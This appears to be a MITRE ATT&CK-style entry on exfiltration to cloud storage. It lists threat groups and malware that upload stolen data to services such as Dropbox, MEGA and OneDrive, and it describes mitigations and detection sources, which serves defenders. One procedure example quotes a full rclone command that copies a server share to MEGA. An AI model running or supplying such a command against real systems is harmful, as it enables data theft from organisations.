Exfiltration Over Web Service: Exfiltration to Cloud Storage

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

ID: T1567.002
Sub-technique of:  T1567
Tactic: Exfiltration
Platforms: Linux, Windows, macOS
Version: 1.2
Created: 09 March 2020
Last Modified: 15 September 2023

Procedure Examples

ID Name Description
G1024 Akira

Akira will exfiltrate victim data using applications such as Rclone.[1]

S0635 BoomBox

BoomBox can upload data to dedicated per-victim folders in Dropbox.[2]

S0651 BoxCaon

BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.[3]

C0015 C0015

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M.[4]

G0114 Chimera

Chimera has exfiltrated stolen data to OneDrive accounts.[5]

G1021 Cinnamon Tempest

Cinnamon Tempest has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.[6]

S0660 Clambling

Clambling can send files from a victim's machine to Dropbox.[7][8]

G0142 Confucius

Confucius has exfiltrated victim data to cloud storage service accounts.[9]

S1023 CreepyDrive

CreepyDrive can use cloud services including OneDrive for data exfiltration.[10]

S0538 Crutch

Crutch has exfiltrated stolen data to Dropbox.[11]

G1006 Earth Lusca

Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.[12]

S0363 Empire

Empire can use Dropbox for data exfiltration.[13]

G0046 FIN7

FIN7 has exfiltrated stolen data to the MEGA file sharing site.[14]


HAFNIUM has exfiltrated data to file sharing sites, including MEGA.[15]


HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.[16]


HEXANE has used cloud services, including OneDrive, for data exfiltration.[10]

G0094 Kimsuky

Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.[17]

G0065 Leviathan

Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.[18][19]

G1014 LuminousMoth

LuminousMoth has exfiltrated data to Google Drive.[20]

S0340 Octopus

Octopus has exfiltrated data to file sharing sites.[21]

C0022 Operation Dream Job

During Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.[22][23]

S1102 Pcexter

Pcexter can upload stolen files to OneDrive storage accounts via HTTP POST.[24]


POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.[10]

S0629 RainyDay

RainyDay can use a file exfiltration tool to upload specific files to Dropbox.[25]

S1040 Rclone

Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.[26][4]


ROKRAT can send collected data to cloud storage services such as PCloud.[27][28]

G1015 Scattered Spider

Scattered Spider has exfiltrated victim data to the MEGA file sharing site.[29][30]

G0027 Threat Group-3390

Threat Group-3390 has exfiltrated stolen data to Dropbox.[7]

G1022 ToddyCat

ToddyCat has used a DropBox uploader to exfiltrate stolen files.[24]

G0010 Turla

Turla has used WebDAV to upload stolen USB files to a cloud drive.[31] Turla has also exfiltrated stolen files to OneDrive and 4shared.[32]

G0102 Wizard Spider

Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.[33]


ZIRCONIUM has exfiltrated stolen data to Dropbox.[34]


ID Mitigation Description
M1021 Restrict Web-Based Content

Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.


ID Data Source Data Component Detects
DS0017 Command Command Execution

Monitor executed commands and arguments that may exfiltrate data to a cloud storage service rather than over their primary command and control channel.

DS0022 File File Access

Monitor for files being accessed to exfiltrate data to a cloud storage service rather than over their primary command and control channel.

DS0029 Network Traffic Network Connection Creation

Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes.

Network Traffic Content

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Network Traffic Flow

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor for cloud storages for data exfiltration.


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